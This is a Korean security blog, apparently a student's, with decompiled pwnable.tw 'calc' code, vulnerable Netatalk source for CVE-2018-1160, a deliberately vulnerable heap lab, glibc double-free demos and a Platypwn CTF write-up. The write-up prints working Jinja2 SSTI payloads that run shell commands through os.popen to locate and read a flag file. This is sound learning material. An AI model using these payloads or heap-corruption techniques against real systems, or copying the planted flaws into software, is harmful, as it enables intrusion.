duhyeon07

calc

Wed, 11 Dec 2024 00:00:00 GMT

문제 설명

Have you ever use Microsoft calculator?

nc chall.pwnable.tw 10100

코드 분석

IDA를 이용해 디컴파일 해보면 main 함수는 다음과 같이 calc라는 함수를 호출한다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  ssignal(14, timeout);
  alarm(60);
  puts("=== Welcome to SECPROG calculator ===");
  fflush(stdout);
  calc();
  return puts("Merry Christmas!");
}

calc() 함수의 코드는 다음과 같다. 아래 코드를 보면 bzero 함수를 이용해 operators 버퍼를 0x400 바이트 만큼 초기화한다. 초기화가 끝난 후에는 get_expr함수에서 operators 버퍼에 대해서 연산자가 포함되어 있는지에 대해서 검사한다. 그리고 init_pool함수를 이용해 numbers 버퍼를 초기화 하고, parse_expr함수에서는 operators, numbers에 대한 expression에 대해서 parsing한다. 마지막으로 printf함수를 이용해 계산한 값을 출력한다.

calc 함수

unsigned int calc()
{
  _DWORD numbers[101]; // [esp+18h] [ebp-5A0h] BYREF
  _BYTE operators[1024]; // [esp+1ACh] [ebp-40Ch] BYREF
  unsigned int canary; // [esp+5ACh] [ebp-Ch]

  canary = __readgsdword(0x14u);
  while ( 1 )
  {
    bzero(operators, 0x400u);
    if ( !get_expr((int)operators, 1024) )
      break;
    init_pool(numbers);
    if ( parse_expr(operators, numbers) )
    {
      printf("%d\n", numbers[numbers[0]]);
      fflush(stdout);
    }
  }
  return __readgsdword(0x14u) ^ canary;
}

get_expr 함수

int __cdecl get_expr(int buf, int len)
{
  int v2; // eax
  char operator; // [esp+1Bh] [ebp-Dh] BYREF
  int v5; // [esp+1Ch] [ebp-Ch]

  v5 = 0;
  while ( v5 < len && read(0, (int)&operator, 1) != -1 && operator != '\n' )
  {
    if ( operator == '+'
      || operator == '-'
      || operator == '*'
      || operator == '/'
      || operator == '%'
      || operator > '/' && operator <= '9' )
    {
      v2 = v5++;
      *(_BYTE *)(buf + v2) = operator;
    }
  }
  *(_BYTE *)(v5 + buf) = 0;
  return v5;
}

parse_expr 함수

int __cdecl parse_expr(int operators, _DWORD *numbers)
{
  int idx1; // eax
  int _operators; // [esp+20h] [ebp-88h]
  int i; // [esp+24h] [ebp-84h]
  int idx2; // [esp+28h] [ebp-80h]
  int size; // [esp+2Ch] [ebp-7Ch]
  char *number; // [esp+30h] [ebp-78h]
  int _number; // [esp+34h] [ebp-74h]
  _BYTE operator[100]; // [esp+38h] [ebp-70h] BYREF
  unsigned int canary; // [esp+9Ch] [ebp-Ch]

  canary = __readgsdword(0x14u);
  _operators = operators;
  idx2 = 0;
  bzero(operator, 0x64u);
  for ( i = 0; ; ++i )
  {
    if ( (unsigned int)(*(char *)(i + operators) - 48) > 9 )
    {
      size = i + operators - _operators;
      number = (char *)malloc(size + 1);
      memcpy(number, _operators, size);
      number[size] = 0;
      if ( !strcmp(number, "0") )
      {
        puts("prevent division by zero");
        fflush(stdout);
        return 0;
      }
      _number = atoi(number);
      if ( _number > 0 )
      {
        idx1 = (*numbers)++;
        numbers[idx1 + 1] = _number;
      }
      if ( *(_BYTE *)(i + operators) && *(char *)(i + 1 + operators) - (unsigned int)'0' > 9 )
      {
        puts("expression error!");
        fflush(stdout);
        return 0;
      }
      _operators = i + 1 + operators;
      if ( operator[idx2] )
      {
        switch ( *(_BYTE *)(i + operators) )
        {
          case '%':
          case '*':
          case '/':
            if ( operator[idx2] != 43 && operator[idx2] != 45 )
              goto LABEL_14;
            operator[++idx2] = *(_BYTE *)(i + operators);
            break;
          case '+':
          case '-':
LABEL_14:
            eval(numbers, operator[idx2]);
            operator[idx2] = *(_BYTE *)(i + operators);
            break;
          default:
            eval(numbers, operator[idx2--]);
            break;
        }
      }
      else
      {
        operator[idx2] = *(_BYTE *)(i + operators);
      }
      if ( !*(_BYTE *)(i + operators) )
        break;
    }
  }
  while ( idx2 >= 0 )
    eval(numbers, operator[idx2--]);
  return 1;
}

CVE-2018-1160

Wed, 11 Dec 2024 00:00:00 GMT

취약점 소개

Apple Filing Protocol을 오픈소스로 구현한 소프트웨어인 Netatalk에서 발견된 취약점으로, dsi_opensess.c에서 OOB 버그로 인해 어떠한 코드를 실행할 수 있다

dsi_opensess.c

/*
 * Copyright (c) 1997 Adrian Sun (asun@zoology.washington.edu)
 * All rights reserved. See COPYRIGHT.
 */

#ifdef HAVE_CONFIG_H
#include "config.h"
#endif /* HAVE_CONFIG_H */

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <stdlib.h>

#include <atalk/dsi.h>
#include <atalk/util.h>
#include <atalk/logger.h>

/* OpenSession. set up the connection */
void dsi_opensession(DSI *dsi)
{
  uint32_t i = 0; /* this serves double duty. it must be 4-bytes long */
  int offs;

  if (setnonblock(dsi->socket, 1) < 0) {
      LOG(log_error, logtype_dsi, "dsi_opensession: setnonblock: %s", strerror(errno));
      AFP_PANIC("setnonblock error");
  }

  /* parse options */
  while (i < dsi->cmdlen) {
    switch (dsi->commands[i++]) {
    case DSIOPT_ATTNQUANT:
      memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);
      dsi->attn_quantum = ntohl(dsi->attn_quantum);

    case DSIOPT_SERVQUANT: /* just ignore these */
    default:
      i += dsi->commands[i] + 1; /* forward past length tag + length */
      break;
    }
  }

  /* let the client know the server quantum. we don't use the
   * max server quantum due to a bug in appleshare client 3.8.6. */
  dsi->header.dsi_flags = DSIFL_REPLY;
  dsi->header.dsi_data.dsi_code = 0;
  /* dsi->header.dsi_command = DSIFUNC_OPEN;*/

  dsi->cmdlen = 2 * (2 + sizeof(i)); /* length of data. dsi_send uses it. */

  /* DSI Option Server Request Quantum */
  dsi->commands[0] = DSIOPT_SERVQUANT;
  dsi->commands[1] = sizeof(i);
  i = htonl(( dsi->server_quantum < DSI_SERVQUANT_MIN || 
	      dsi->server_quantum > DSI_SERVQUANT_MAX ) ? 
	    DSI_SERVQUANT_DEF : dsi->server_quantum);
  memcpy(dsi->commands + 2, &i, sizeof(i));

  /* AFP replaycache size option */
  offs = 2 + sizeof(i);
  dsi->commands[offs] = DSIOPT_REPLCSIZE;
  dsi->commands[offs+1] = sizeof(i);
  i = htonl(REPLAYCACHE_SIZE);
  memcpy(dsi->commands + offs + 2, &i, sizeof(i));
  dsi_send(dsi);
}

Heap Exploitation LAB

Wed, 11 Dec 2024 00:00:00 GMT

Code

다양한 힙 공격을 해보기 위해 만든 코드입니다.

#include <stdio.h>
#include <stdlib.h>

void menu()
{
    printf("\n");
    printf("--------------------------------------------------\n");
    printf("|            The Heap Exploitation Lab           |\n");
    printf("--------------------------------------------------\n");
    printf("\n");
    printf("1. Allocate\n");
    printf("2. Free\n");
    printf("3. Edit\n");
    printf("4. Print\n");
    printf("> ");
}

int main()
{
    int select;
    int ptr_length;
    int size;
    int idx;

    printf("--------------------------------------------------\n");
    printf("|            The Heap Exploitation Lab           |\n");
    printf("--------------------------------------------------\n");

    printf("Array Size: ");
    scanf("%d", &ptr_length);

    void* ptr[ptr_length];

    while (1)
    {
        menu();
        scanf("%d", &select);
        switch (select)
        {
            case 1:
               printf("Allocation Size: ");
               scanf("%d", &size);
               printf("Index: ");
               scanf("%d", &idx);
               ptr[idx] = malloc(size);
               break;
            case 2:
               printf("Free Index: ");
               scanf("%d", &idx);
               free(ptr[idx]);
               break;
            case 3:
               printf("Read Size: ");
               scanf("%d", &size);
               printf("Index: ");
               scanf("%d", &idx);
               read(0, ptr[idx], size);
               break;
            case 4:
               printf("Write Index: ");
               scanf("%d", &idx);
               printf(ptr[idx]);
               break;
        }
    }
}

Introduction Heap Exploitation

Wed, 11 Dec 2024 00:00:00 GMT

first_fit

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
	fprintf(stderr, "This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n");
	fprintf(stderr, "glibc uses a first-fit algorithm to select a free chunk.\n");
	fprintf(stderr, "If a chunk is free and large enough, malloc will select this chunk.\n");
	fprintf(stderr, "This can be exploited in a use-after-free situation.\n");

	fprintf(stderr, "Allocating 2 buffers. They can be large, don't have to be fastbin.\n");
	char* a = malloc(0x512);
	char* b = malloc(0x256);
	char* c;

	fprintf(stderr, "1st malloc(0x512): %p\n", a);
	fprintf(stderr, "2nd malloc(0x256): %p\n", b);
	fprintf(stderr, "we could continue mallocing here...\n");
	fprintf(stderr, "now let's put a string at a that we can read later \"this is A!\"\n");
	strcpy(a, "this is A!");
	fprintf(stderr, "first allocation %p points to %s\n", a, a);

	fprintf(stderr, "Freeing the first one...\n");
	free(a);

	fprintf(stderr, "We don't need to free anything again. As long as we allocate smaller than 0x512, it will end up at %p\n", a);

	fprintf(stderr, "So, let's allocate 0x500 bytes\n");
	c = malloc(0x500);
	fprintf(stderr, "3rd malloc(0x500): %p\n", c);
	fprintf(stderr, "And put a different string here, \"this is C!\"\n");
	strcpy(c, "this is C!");
	fprintf(stderr, "3rd allocation %p points to %s\n", c, c);
	fprintf(stderr, "first allocation %p points to %s\n", a, a);
	fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third allocation.\n");
}

First Fit

First Fit 알고리즘이란 Heap에서 메모리를 해제 이후, 가장 첫번째 공간에 할당하는 알고리즘을 뜻합니다.

Code Analysis

0x512, 0x256 바이트 크기의 Heap 메모리 공간을 각각 a, b에 할당 시키고, c라는 포인터 변수를 선언했습니다.

char* a = malloc(0x512);
char* b = malloc(0x256);
char* c;

각 a, b에 대한 메모리 주소를 출력하면 아래와 같습니다.

1st malloc(0x512): 0x55d31b3632a0
2nd malloc(0x256): 0x55d31b3637c0

이와 같이 두개의 동적 메모리를 할당했습니다. 그리고 a라는 동적 메모리 공간에 "this is A!"라는 문자열을 복사 한 후, 내용을 출력했습니다. 결과는 아래와 같습니다.

now let's put a string at a that we can read later "this is A!"

그리고 free함수를 통해 a라는 동적 메모리를 해제 한 후 메모리 주소를 출력해보면 결과는 아래와 같습니다.

We don't need to free anything again. As long as we allocate smaller than 0x512, it will end up at 0x55d31b3632a0

a라는 동적 메모리 공간을 해제 한 후, c라는 동적 메모리 공간을 0x500바이트 할당했습니다. 결과를 보면 a의 주소와 c의 주소는 같다는 것을 알 수 있습니다.

3rd malloc(0x500): 0x55d31b3632a0

이러한 방법을 이용한 공격 방법을 Use-After-Free 라고 합니다. 이는 말 그대로 메모리를 사용한 후 해제 했을 떄 발생하는 취약점을 뜻합니다.

fastbin_dup

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
	setbuf(stdout, NULL);

	printf("This file demonstrates a simple double-free attack with fastbins.\n");

	printf("Fill up tcache first.\n");
	void *ptrs[8];
	for (int i=0; i<8; i++) {
		ptrs[i] = malloc(8);
	}
	for (int i=0; i<7; i++) {
		free(ptrs[i]);
	}

	printf("Allocating 3 buffers.\n");
	int *a = calloc(1, 8);
	int *b = calloc(1, 8);
	int *c = calloc(1, 8);

	printf("1st calloc(1, 8): %p\n", a);
	printf("2nd calloc(1, 8): %p\n", b);
	printf("3rd calloc(1, 8): %p\n", c);

	printf("Freeing the first one...\n");
	free(a);

	printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
	// free(a);

	printf("So, instead, we'll free %p.\n", b);
	free(b);

	printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
	free(a);

	printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
	a = calloc(1, 8);
	b = calloc(1, 8);
	c = calloc(1, 8);
	printf("1st calloc(1, 8): %p\n", a);
	printf("2nd calloc(1, 8): %p\n", b);
	printf("3rd calloc(1, 8): %p\n", c);

	assert(a == c);
}

Fastbin

Fastbin은 10개로 이루어져 있고, 각각이 Single Linked List 형태로 연결되어 있습니다. 그리고 청크의 크기는 16, 24, 32, 40, 48, 56, 64, 72, 80,..,88로 이루어져 있고, Metadata의 크기도 포함이 됩니니다.

Code Analysis

8바이트 크기의 함수형 포인터 배열 ptrs를 선언했습니다. 그리고 0부터 8까지의 element에 각각 8바이트 크기의 동적 메모리를 할당했습니다.

void *ptrs[8];

for (int i=0; i<8; i++) {
	ptrs[i] = malloc(8);
}

그리고 0부터 7까지의 element를 free 함수를 이용해 해제시켰습니다.

for (int i=0; i<7; i++) {
	free(ptrs[i]);
}

8바이트 크기의 동적 메모리를 변수 a,b,c에 각각 할당시켰습니다

int *a = calloc(1, 8);
int *b = calloc(1, 8);
int *c = calloc(1, 8);

이를 출력하면 다음과 같습니다.

1st calloc(1, 8): 0x559f0e3403a0
2nd calloc(1, 8): 0x559f0e3403c0
3rd calloc(1, 8): 0x559f0e3403e0

할당된 변수 중 a를 free 함수를 이용해 해제했습니다. 이를 출력하면 다음과 같습니다.

If we free 0x559f0e3403a0 again, things will crash because 0x559f0e3403a0 is at the top of the free list.

두 번쨰로 변수를 b를 해제 시키고 a 변수의 주소를 출력 시키면 다음과 같습니다.

Now, we can free 0x559f0e3403a0 again, since it's not the head of the free list.

다시 a변수를 해제 시키고, 출력하면 다음과 같습니다.

Now the free list has [ 0x559f0e3403a0, 0x559f0e3403c0, 0x559f0e3403a0 ]. If we malloc 3 times, we'll get 0x559f0e3403a0 twice!

마지막으로 동적 메모리를 변수 a,b,c에 각각 8바이트로 할당 시키고 출력하면 다음과 같습니니다.

1st calloc(1, 8): 0x559f0e3403a0
2nd calloc(1, 8): 0x559f0e3403c0
3rd calloc(1, 8): 0x559f0e3403a0

출력 결과를 보면 1번째 주소와 3번쨰 주소가 같다는 것을 알 수 있습니다.

이러한 방법을 이용한 공격 방법을 Double-Free Attack 이라고 하고, free를 두번 하기 때문에 Double-Free라고 이름을 정했습니다.

fastbin_dup_into_stack

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
	fprintf(stderr, "This file extends on fastbin_dup.c by tricking calloc into\n"
	       "returning a pointer to a controlled location (in this case, the stack).\n");


	fprintf(stderr,"Fill up tcache first.\n");

	void *ptrs[7];

	for (int i=0; i<7; i++) {
		ptrs[i] = malloc(8);
	}
	for (int i=0; i<7; i++) {
		free(ptrs[i]);
	}


	unsigned long stack_var[4] __attribute__ ((aligned (0x10)));

	fprintf(stderr, "The address we want calloc() to return is %p.\n", stack_var + 2);

	fprintf(stderr, "Allocating 3 buffers.\n");
	int *a = calloc(1,8);
	int *b = calloc(1,8);
	int *c = calloc(1,8);

	fprintf(stderr, "1st calloc(1,8): %p\n", a);
	fprintf(stderr, "2nd calloc(1,8): %p\n", b);
	fprintf(stderr, "3rd calloc(1,8): %p\n", c);

	fprintf(stderr, "Freeing the first one...\n"); //First call to free will add a reference to the fastbin
	free(a);

	fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);

	fprintf(stderr, "So, instead, we'll free %p.\n", b);
	free(b);

	//Calling free(a) twice renders the program vulnerable to Double Free

	fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
	free(a);

	fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
		"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
	unsigned long *d = calloc(1,8);

	fprintf(stderr, "1st calloc(1,8): %p\n", d);
	fprintf(stderr, "2nd calloc(1,8): %p\n", calloc(1,8));
	fprintf(stderr, "Now the free list has [ %p ].\n", a);
	fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
		"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
		"so that calloc will think there is a free chunk there and agree to\n"
		"return a pointer to it.\n", a);
	stack_var[1] = 0x20;

	fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
	fprintf(stderr, "Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\n");
	fprintf(stderr, "^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\n");
	unsigned long ptr = (unsigned long)stack_var;
	unsigned long addr = (unsigned long) d;
	/*VULNERABILITY*/
	*d = (addr >> 12) ^ ptr;
	/*VULNERABILITY*/

	fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8));

	void *p = calloc(1,8);

	fprintf(stderr, "4th calloc(1,8): %p\n", p);
	assert((unsigned long)p == (unsigned long)stack_var + 0x10);
}

Platypwn CTF 2024 Write-Up

Wed, 11 Dec 2024 00:00:00 GMT

OS Detection

문제에 대한 코드는 다음과 같이 User Agent에 대한 데이터를 파싱한 다음, 문자열에서 OS에 대한 종류에 대한 값을 가져온다. 그리고 render_template_string 함수를 통해서 문자열을 user_agent_hint에 반환한다. 여기서 render_template_string 함수는 {{ }}안에 입력된 코드를 해석하므로, SSTI 취약점이 발생한다.

from flask import Flask, request, render_template, render_template_string
from ua_parser import user_agent_parser

app = Flask(__name__)

@app.route("/")
def home():
    user_agent = request.headers.get('User-Agent')
    try:
        parsed_string = user_agent_parser.Parse(user_agent)
        family = parsed_string['os']['family']
        user_agent_hint = render_template_string(user_agent)
        return render_template('index.html', os=family, user_agent=user_agent_hint)
    except Exception as e:
        return render_template('failure.html', error=str(e))
    
@app.route("/source")
def source():
    code = open(__file__).read()
    return render_template_string("<pre>{{ code }}</pre>", code=code)
    

if __name__ == "__main__":
    # No debug, that would be insecure!
    #app.run(debug=True)
    app.run()

그래서 SSTI 취약점을 이용해서 RCE Payload를 실행하면 flag를 얻을 수 있다. 하지만 flag에 대한 파일 위치를 모르기 떄문에 경로를 찾아야 된다.

{{config.__class__.__init__.__globals__['os'].popen('find / -name "flag*" 2>/dev/null').read()}}

이러한 RCE 이용해서 flag에 대한 경로를 구할 수 있다. 이 중에서 /app/flag/flag.txt 파일을 읽었다.

{{config.__class__.__init__.__globals__['os'].popen('cat /app/flag/flag.txt').read()}}

flag는 다음과 같다.

PP{h4ck3r-OS-d3t3ct3d::Q3HIY8GDEVv2}

duhyeon07

calc

문제 설명

코드 분석

calc 함수

get_expr 함수

parse_expr 함수

CVE-2018-1160

취약점 소개

dsi_opensess.c

Heap Exploitation LAB

Code

Introduction Heap Exploitation

목차

first_fit

First Fit

Code Analysis

fastbin_dup

Fastbin

Code Analysis

fastbin_dup_into_stack

Platypwn CTF 2024 Write-Up

OS Detection